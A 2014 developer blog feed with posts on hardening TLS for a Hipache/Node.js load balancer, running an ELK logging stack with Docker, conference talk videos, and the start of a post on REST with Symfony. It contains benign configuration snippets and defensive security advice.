&lt;em&gt;Disclaimer: even if I am really interested in security, I am not a security
expert.&lt;/em&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Getting SSL certificates (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;key&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crt&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pem&lt;/code&gt; files) is a good start, but it is
definitely not enough. With the recent security issues such as
&lt;a href=&quot;https://www.openssl.org/~bodo/ssl-poodle.pdf&quot;&gt;POODLE&lt;/a&gt;,
&lt;a href=&quot;http://heartbleed.com/&quot;&gt;Heartbleed&lt;/a&gt; and so on, configuring this layer requires
more attention than ever.
&lt;strong&gt;Want to check your current configuration?&lt;/strong&gt; &lt;a href=&quot;https://www.ssllabs.com/ssltest/index.html&quot;&gt;Qualys SSL Server
Test&lt;/a&gt; to the rescue! First time I
tried, I got a C grade…&lt;/p&gt;

&lt;h2 id=&quot;secure-protocols&quot;&gt;Secure Protocols&lt;/h2&gt;

&lt;p&gt;There are five secure procotols, part of the SSL/TLS family, but most of them
should &lt;strong&gt;not&lt;/strong&gt; be used. &lt;strong&gt;SSLv2 and SSLv3 are insecure&lt;/strong&gt;, do not used them! Yes,
&lt;a href=&quot;https://disablessl3.com/&quot;&gt;disable SSLv3&lt;/a&gt; now! TLSv1 is also insecure, whereas
TLSv1.1 and TLSv1.2 are not, or at least are without known security issues
(yet).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hipache&lt;/strong&gt; is a &lt;a href=&quot;http://nodejs.org/&quot;&gt;Node.js&lt;/a&gt; application. The good thing about
this platform is that people seem to care about security, and since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0.10&lt;/code&gt;
&lt;a href=&quot;https://github.com/joyent/node/pull/8551&quot;&gt;SSLv2 and SSLv3 are disabled by
default&lt;/a&gt;. Hipache relies on &lt;a href=&quot;http://nodejs.org/api/https.html#https_https_createserver_options_requestlistener&quot;&gt;Node’s
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https.createServer()&lt;/code&gt;&lt;/a&gt;
method, and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secureProtocol&lt;/code&gt; option is available to specify the secure
protocol to use. Its default value is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSLv23_method&lt;/code&gt; and is about negotiating a
protocol from the highest level down to whatever the client supports. Yes, worst
name ever! Another option called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secureOptions&lt;/code&gt; is available and can be used to
explicitly disable the use of SSLv3 and SSLv2. Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0.10.33&lt;/code&gt;, it is disabled
by default though. Such a configuration &lt;a href=&quot;https://gist.github.com/3rd-Eden/715522f6950044da45d8&quot;&gt;protects against the POODLE attack in
Node.js&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Unfortunately, I could not get it work as is using Hipache, so I ended up
patching this load balancer to &lt;a href=&quot;https://github.com/hipache/hipache/pull/178&quot;&gt;support the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;secureOptions&lt;/code&gt;
parameter&lt;/a&gt;. This patch provides the
exact same configuration as described above. (Note: I maintain a &lt;a href=&quot;https://registry.hub.docker.com/u/willdurand/hipache/&quot;&gt;Docker image
with my Hipache tweaks&lt;/a&gt;,
running in production).&lt;/p&gt;

&lt;p&gt;Securing secure protocols: &lt;em&gt;done!&lt;/em&gt;&lt;/p&gt;

&lt;h2 id=&quot;secure-cipher-suites&quot;&gt;Secure Cipher Suites&lt;/h2&gt;

&lt;p&gt;Next step is about defining &lt;strong&gt;how secure communication takes place&lt;/strong&gt;. That is
important for enabling &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2013/06/25/ssl-labs-deploying-forward-secrecy&quot;&gt;Forward
Secrecy&lt;/a&gt;,
which means that for an attacker it wil not be possible to decrypt your previous
data exchanges if they get access to your private key, and to protect against
the &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2011/10/17/mitigating-the-beast-attack-on-tls&quot;&gt;BEAST
attack&lt;/a&gt;
(which is &lt;strong&gt;not impractical&lt;/strong&gt;).&lt;/p&gt;

&lt;p&gt;After having read how to &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-secrecy&quot;&gt;configure Apache, Nginx, and OpenSSL for Forward
Secrecy&lt;/a&gt;,
I decided to use the following &lt;strong&gt;cipher suite&lt;/strong&gt; (which &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2013/03/19/rc4-in-tls-is-broken-now-what&quot;&gt;disables
RC4&lt;/a&gt;
by the way):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So far so good. Not exactly, because stable Node.js version (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0.10.34&lt;/code&gt;) does
not support &lt;strong&gt;Elliptic Curve Diffie-Hellman&lt;/strong&gt; (ECDH) ciphers yet, even if a
&lt;a href=&quot;https://github.com/joyent/node/commit/bb909ad64285194b3d02322e3fb4b17ff5192c50&quot;&gt;patch&lt;/a&gt;
has been merged. Node &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0.11.14&lt;/code&gt; (unstable) contains this patch, therefore it is
the &lt;strong&gt;version to use if one wants to deploy Forward Secrecy&lt;/strong&gt;. It is important
to support ECDHE because it is &lt;strong&gt;supported by all major modern browsers&lt;/strong&gt;
whereas Diffie-Hellman (DHE) does not.&lt;/p&gt;

&lt;p&gt;Hipache exposes a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ciphers&lt;/code&gt; option but does not provide the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;honorCipherOrder&lt;/code&gt;
one, which is &lt;a href=&quot;http://nodejs.org/api/tls.html&quot;&gt;recommended to mitigate BEAST attacks in Node.js
documentation&lt;/a&gt;. Then again, there is a
&lt;a href=&quot;https://github.com/hipache/hipache/pull/177&quot;&gt;pull-request for that&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;My Hipache &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https&lt;/code&gt; configuration now looks like this:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nl&quot;&gt;&quot;https&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;port&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;bind&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;0.0.0.0&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ssl/ssl.key&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;cert&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/etc/ssl/ssl.crt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ciphers&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS !RC4&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;honorCipherOrder&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Doing all of this allowed me to get a &lt;strong&gt;A&lt;/strong&gt; grade with Qualys’ tool, which is
quite good. In the next section, I am going to describe a few more security
points that everyone should know and check.&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s Next?&lt;/h2&gt;

&lt;h3 id=&quot;client-initiated-renegotiation&quot;&gt;Client-Initiated Renegotiation&lt;/h3&gt;

&lt;p&gt;In TLS, &lt;strong&gt;renegotiation allows parties to stop exchanging data&lt;/strong&gt; in order to
renegotiate how the communication is secured. The protocol lets the client
renegotiate certain aspects of the TLS session. Thing is, &lt;strong&gt;client-initiated
renegotiation&lt;/strong&gt; may lead to &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks&quot;&gt;Denial of
Service&lt;/a&gt;
(DoS), and therefore &lt;strong&gt;must be disabled&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In Node.js, &lt;a href=&quot;http://nodejs.org/api/tls.html#tls_client_initiated_renegotiation_attack_mitigation&quot;&gt;renegotiations are limited to three times every 10
minutes&lt;/a&gt;.
While these default values seems legit to me, Qualys’ tool &lt;a href=&quot;https://community.qualys.com/thread/14077&quot;&gt;reports no
protection against this attack&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;tls-compression&quot;&gt;TLS Compression&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;https://community.qualys.com/blogs/securitylabs/2012/09/14/crime-information-leakage-attack-against-ssltls&quot;&gt;CRIME
attack&lt;/a&gt;
exploits &lt;strong&gt;a flaw with data compression&lt;/strong&gt;. When used to recover the content of
secret authentication cookies, it allows an attacker to perform session
hijacking on an authenticated web session, allowing the launching of further
attacks (says &lt;a href=&quot;http://en.wikipedia.org/wiki/CRIME&quot;&gt;Wikipedia&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;In order to protect against this attack, Node.js &lt;a href=&quot;https://github.com/joyent/node/issues/1523&quot;&gt;disables all
compression&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;downgrade-attack-prevention&quot;&gt;Downgrade Attack Prevention&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;Man-In-The-Middle&lt;/strong&gt; (MITM) can disrupt an SSL handshake and cause the client
and server to select an earlier SSL protocol version. This is known as an SSL
downgrade attack. &lt;strong&gt;Disabling SSLv3 protects against this attack&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is worth mentioning that Google has written an
&lt;a href=&quot;https://tools.ietf.org/html/draft-ietf-tls-downgrade-scsv-00&quot;&gt;RFC&lt;/a&gt; to propose
an extension to SSL/TLS named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TLS_FALLBACK_SCSV&lt;/code&gt; that seeks to prevent protocol
downgrade attacks. The latest OpenSSL &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.0.1j&lt;/code&gt; version support
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TLS_FALLBACK_SCSV&lt;/code&gt; which Node &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v0.11.14&lt;/code&gt; does not support yet (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.0.1i&lt;/code&gt; by
now).&lt;/p&gt;

&lt;h3 id=&quot;openssl&quot;&gt;OpenSSL&lt;/h3&gt;

&lt;p&gt;Reminder: &lt;a href=&quot;http://serverfault.com/questions/587324/heartbleed-how-to-reliably-and-portably-check-the-openssl-version&quot;&gt;make sure to use a secure version of
OpenSSL&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;http-headers&quot;&gt;HTTP Headers&lt;/h3&gt;

&lt;p&gt;Enable &lt;a href=&quot;https://www.owasp.org/index.php/HTTP_Strict_Transport_Security&quot;&gt;HTTP Strict Transport
Security&lt;/a&gt; (HSTS)
in your web server (Nginx here) configuration:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Enable HSTS
add_header Strict-Transport-Security max-age=63072000;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;resources&quot;&gt;Resources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices.pdf&quot;&gt;SSL/TLS Deployment Best
Practices&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://community.qualys.com/blogs/securitylabs&quot;&gt;Qualys’ Blog - Security Labs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://wiki.mozilla.org/Security/Server_Side_TLS&quot;&gt;Mozilla Security/Server Side
TLS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>Elasticsearch, Logstash &amp;amp; Kibana with Docker</title>
        <link href="https://williamdurand.fr/2014/12/17/elasticsearch-logstash-kibana-with-docker/"/>
        <updated>2014-12-17T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/12/17/elasticsearch-logstash-kibana-with-docker</id>
        <content type="html">&lt;p&gt;Yesterday, I gave a talk on &lt;a href=&quot;https://speakerdeck.com/willdurand/docker-ceci-nest-pas-une-introduction-apihour-number-12&quot;&gt;how I use &lt;strong&gt;Docker&lt;/strong&gt; to deploy
applications&lt;/a&gt;
at Clermont’ech &lt;a href=&quot;https://www.clermontech.org/api-hours/api-hour-12.html&quot;&gt;API Hour
#12&lt;/a&gt;, a French local
developer group. I explained how to create a simple yet robust infrastructure to
deploy a web application and a few services with &lt;strong&gt;zero downtime&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In order to monitor my infrastructure, and especially the HTTP responses, I gave
the popular &lt;strong&gt;ELK stack&lt;/strong&gt; a try. ELK stands for &lt;a href=&quot;https://www.elastic.co/&quot;&gt;&lt;strong&gt;E&lt;/strong&gt;lasticsearch&lt;/a&gt;,
&lt;a href=&quot;https://www.elastic.co/logstash&quot;&gt;&lt;strong&gt;L&lt;/strong&gt;ogstash&lt;/a&gt;, &lt;a href=&quot;https://www.elastic.co/kibana&quot;&gt;&lt;strong&gt;K&lt;/strong&gt;ibana&lt;/a&gt;. Since I haven’t covered this
part in my talk, I am going to describe it here.&lt;/p&gt;

&lt;h2 id=&quot;the-elk-stack&quot;&gt;The ELK stack&lt;/h2&gt;

&lt;p&gt;I wrote a &lt;a href=&quot;https://github.com/willdurand/docker-elk&quot;&gt;Dockerfile&lt;/a&gt; to build an ELK
image. While you can directly use this image to run a container (mounting a
&lt;em&gt;host&lt;/em&gt; folder as a volume for the configuration files), you should probably
extend it to add your own configuration so that you can get rid of the mapping
to a &lt;em&gt;host&lt;/em&gt; folder. This is one of the Docker best practices currently.&lt;/p&gt;

&lt;p&gt;You will find Elasticsearch’s data in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/data&lt;/code&gt;. I recommend you to use a
&lt;a href=&quot;https://docs.docker.com/userguide/dockervolumes/&quot;&gt;data-only container&lt;/a&gt; to
persist the data. The two commands below should get you started:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run -d -v /data --name dataelk busybox
$ docker run -p 8080:80 \
    -v /path/to/your/logstash/config:/etc/logstash \
    --volumes-from dataelk \
    willdurand/elk
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;logstash-forwarder&quot;&gt;Logstash forwarder&lt;/h2&gt;

&lt;p&gt;Such a stack should probably run on its own server. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash&lt;/code&gt; configuration
should only receive logs from the outside (the production environment for
instance) and send them to Elasticsearch. We need a tool to collect the logs in
production and process them somewhere else. Fortunately, that is exactly the
goal of the &lt;a href=&quot;https://github.com/elasticsearch/logstash-forwarder&quot;&gt;logstash-forwarder&lt;/a&gt; (formerly known as &lt;em&gt;lumberjack&lt;/em&gt;) project!&lt;/p&gt;

&lt;p&gt;Below is an example of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash&lt;/code&gt; configuration to process logs received on port
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;5043&lt;/code&gt; thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lumberjack&lt;/code&gt; input. You may have noticed that
&lt;a href=&quot;https://github.com/hipache/hipache&quot;&gt;Hipache&lt;/a&gt; logs are filtered (I actually took
this configuration from my production server :p).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;input {
  lumberjack {
    port =&amp;gt; 5043
    ssl_certificate =&amp;gt; &quot;/etc/ssl/logstash-forwarder.crt&quot;
    ssl_key =&amp;gt; &quot;/etc/ssl/logstash-forwarder.key&quot;
  }
}

filter {
  if [type] == &quot;hipache&quot; {
    grok {
      patterns_dir =&amp;gt; &quot;/etc/logstash/patterns/nginx&quot;
      match =&amp;gt; { &quot;message&quot; =&amp;gt; &quot;%{NGINXACCESS}&quot; }
    }
  }
}

output {
  elasticsearch {
    host =&amp;gt; &quot;127.0.0.1&quot;
    cluster =&amp;gt; &quot;logstash&quot;
    # Uncomment the line below if you use Kibana 3.1.0
    # embedded =&amp;gt; false
  }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is worth mentioning that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash-forwarder&lt;/code&gt; requires
&lt;a href=&quot;https://github.com/willdurand/docker-logstash-forwarder#ssl-certificate&quot;&gt;SSL&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Back to the production environment, I wrote a &lt;a href=&quot;https://github.com/willdurand/docker-logstash-forwarder&quot;&gt;Dockerfile to run
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash-forwarder&lt;/code&gt;&lt;/a&gt;.
You need the same set of SSL files as seen previously in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash&lt;/code&gt;
configuration, and a configuration file for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash-forwarder&lt;/code&gt;. Then again,
using this image as a base image is recommended but, for testing purposes, we
can mount &lt;em&gt;host&lt;/em&gt; folders as volumes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ docker run \
    --volume /path/to/your/ssl/files:/etc/ssl \
    --volume /path/to/your/config/file:/etc/logstash-forwarder \
    --volume /var/log/nginx:/var/log/nginx \
    willdurand/logstash-forwarder
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash-forwarder&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.json&lt;/code&gt; file contains the following content. It
tells &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash-forwarder&lt;/code&gt; to send &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hipache&lt;/code&gt; logs (found in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/log/hipache/access.log&lt;/code&gt;) to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logstash.example.org:5043&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
  &quot;network&quot;: {
    &quot;servers&quot;: [ &quot;logstash.example.org:5043&quot; ],
    &quot;ssl certificate&quot;: &quot;/etc/ssl/logstash-forwarder.crt&quot;,
    &quot;ssl key&quot;: &quot;/etc/ssl/logstash-forwarder.key&quot;,
    &quot;ssl ca&quot;: &quot;/etc/ssl/logstash-forwarder.crt&quot;
  },
  &quot;files&quot;: [
    {
      &quot;paths&quot;:  [ &quot;/var/log/hipache/access.log&quot; ],
      &quot;fields&quot;: { &quot;type&quot;: &quot;hipache&quot; }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Having &lt;strong&gt;data-only containers&lt;/strong&gt; everywhere would be better :)&lt;/p&gt;

&lt;h2 id=&quot;kibana&quot;&gt;Kibana&lt;/h2&gt;

&lt;p&gt;This is the final piece! You can now create your own dashboards in Kibana. Here
is mine to monitor the HTTP responses of the load balancer:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2014/12/kibana.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Need inspiration? Watch &lt;a href=&quot;https://www.youtube.com/watch?v=1r1SOeaDqH4&amp;amp;list=PL9zDdgiGjkIeeVlrsz9A8o3HtZhvERHT-&amp;amp;index=7&quot;&gt;this
video&lt;/a&gt;
if you speak French.&lt;/p&gt;

&lt;h2 id=&quot;also&quot;&gt;Also…&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://12factor.net&quot;&gt;Twelve Factors&lt;/a&gt; mentions that logs should be sent to
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;std[err|out]&lt;/code&gt;, which does not always seem possible to me but, if you do that,
then you will probably be interested in &lt;a href=&quot;https://github.com/progrium/logspout&quot;&gt;logspout&lt;/a&gt;.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>[Video] Software testing: past, present, future</title>
        <link href="https://williamdurand.fr/2014/11/09/video-software-testing-past-present-future/"/>
        <updated>2014-11-09T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/11/09/video-software-testing-past-present-future</id>
        <content type="html">&lt;p&gt;Last month, I gave a talk on software testing at &lt;a href=&quot;https://event.afup.org/forumphp2014__programme/&quot;&gt;Forum PHP 2014&lt;/a&gt; in Paris,
organized by the french foundation of French speaking PHP users
(&lt;a href=&quot;https://afup.org/home&quot;&gt;AFUP&lt;/a&gt;). Then again, congratulations to the team, this
event was a blast! (As usual, I would say :-))&lt;/p&gt;

&lt;p&gt;In this talk, I gave an overview of what software testing was, describing three
different periods: past, present, and future, hence the title of this talk.&lt;/p&gt;

&lt;p&gt;You will find the video of my talk below (in French, sorry):&lt;/p&gt;

&lt;iframe src=&quot;//www.youtube.com/embed/UNSJI4jsmCc&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;And, here are my slides:&lt;/p&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;078b9d803cd6013218882e672ff93e89&quot; data-ratio=&quot;1.29456384323641&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;/p&gt;
&lt;p&gt;If you attended my talk and did not rate it yet, please leave a comment on
&lt;a href=&quot;https://joind.in/11953&quot;&gt;joind.in&lt;/a&gt;.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>[Video] REST dans le monde Symfony</title>
        <link href="https://williamdurand.fr/2014/07/16/video-rest-dans-le-monde-symfony/"/>
        <updated>2014-07-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/07/16/video-rest-dans-le-monde-symfony</id>
        <content type="html">&lt;p&gt;Last month, I gave a talk about REST and Symfony at &lt;a href=&quot;https://event.afup.org/phptourlyon2014__programme/&quot;&gt;PHP Tour Lyon
2014&lt;/a&gt;, organized by the
french foundation of French speaking PHP users (&lt;a href=&quot;https://afup.org/home&quot;&gt;AFUP&lt;/a&gt;).
Congratulations to the team, this event was a blast!&lt;/p&gt;

&lt;p&gt;You will find the video of my talk below (in French, sorry):&lt;/p&gt;

&lt;iframe src=&quot;//www.youtube.com/embed/nm1obAL1xoo&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;And here are my slides:&lt;/p&gt;

&lt;script async=&quot;&quot; class=&quot;speakerdeck-embed&quot; data-id=&quot;b5fd31c0dd09013100f036ab2b38a31a&quot; data-ratio=&quot;1.41436464088398&quot; src=&quot;//speakerdeck.com/assets/embed.js&quot;&gt;&lt;/script&gt;

&lt;p&gt;&lt;/p&gt;
&lt;p&gt;I used the
&lt;a href=&quot;https://github.com/gimler/symfony-rest-edition&quot;&gt;symfony-rest-edition&lt;/a&gt; and
&lt;a href=&quot;https://github.com/willdurand/Propilex&quot;&gt;Propilex&lt;/a&gt; projects for the demos.&lt;/p&gt;

&lt;p&gt;If you attended my talk and did not rate it yet, please leave a comment on
&lt;a href=&quot;https://joind.in/11215&quot;&gt;joind.in&lt;/a&gt;.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>RESTing with Symfony: SOS</title>
        <link href="https://williamdurand.fr/2014/07/02/resting-with-symfony-sos/"/>
        <updated>2014-07-02T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2014/07/02/resting-with-symfony-sos</id>
        <content type="html">&lt;p&gt;Two years ago, I wrote &lt;a href=&quot;/2012/08/02/rest-apis-with-symfony2-the-right-way/&quot;&gt;REST APIs with Symfony2: The Right
Way&lt;/a&gt;, one of my most popular
blog posts, but also one of the most well-known blog post about Symfony and
REST. At first glance, I could enjoy this situation, but it actually makes me
sad, and that is what I am going to explain here.&lt;/p&gt;

&lt;p&gt;Lukas and I give talks to spread the word about RESTing with Symfony for the
last year now. Sure thing is that we have a nice set of components (libraries
and bundles) that work well together, and provide a lot of interesting features.
For those who are not aware of this, checkout
&lt;a href=&quot;http://friendsofsymfony.github.io/slides/rest-dans-le-monde-symfony.html&quot;&gt;our&lt;/a&gt;
&lt;a href=&quot;http://friendsofsymfony.github.io/slides/build-awesome-rest-apis-with-symfony2.html&quot;&gt;slides&lt;/a&gt;!
The Symfony developers behind all of this even contributed to the PHP ecosystem
at large as most of the features are provided as standalone PHP libraries.
Fantastic!&lt;/p&gt;

&lt;p&gt;Not really. Last year, Lukas wrote a &lt;a href=&quot;http://pooteeweet.org/blog/2221&quot;&gt;blog post explaining what was needed to
REST in Symfony&lt;/a&gt;, and there was still a lot of
work left. Did things change? Not really, again. That was in 2013, and remember
that my blog post has been written in 2012.&lt;/p&gt;

&lt;p&gt;Come on we are in 2014, and to me, &lt;strong&gt;nothing has changed!&lt;/strong&gt; Sure we have a
couple of “recent” blog posts such as the &lt;a href=&quot;http://welcometothebundle.com/symfony2-rest-api-the-best-2013-way/&quot;&gt;Symfony2 REST API: the best
way&lt;/a&gt; series.
It is a nice series, not only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s/right/best&lt;/code&gt;, but it covers pretty much the same
things I covered two years ago. I didn’t see any other interesting blog post
about REST with Symfony recently unfortunately… Lately, Ryan, Leanna and I
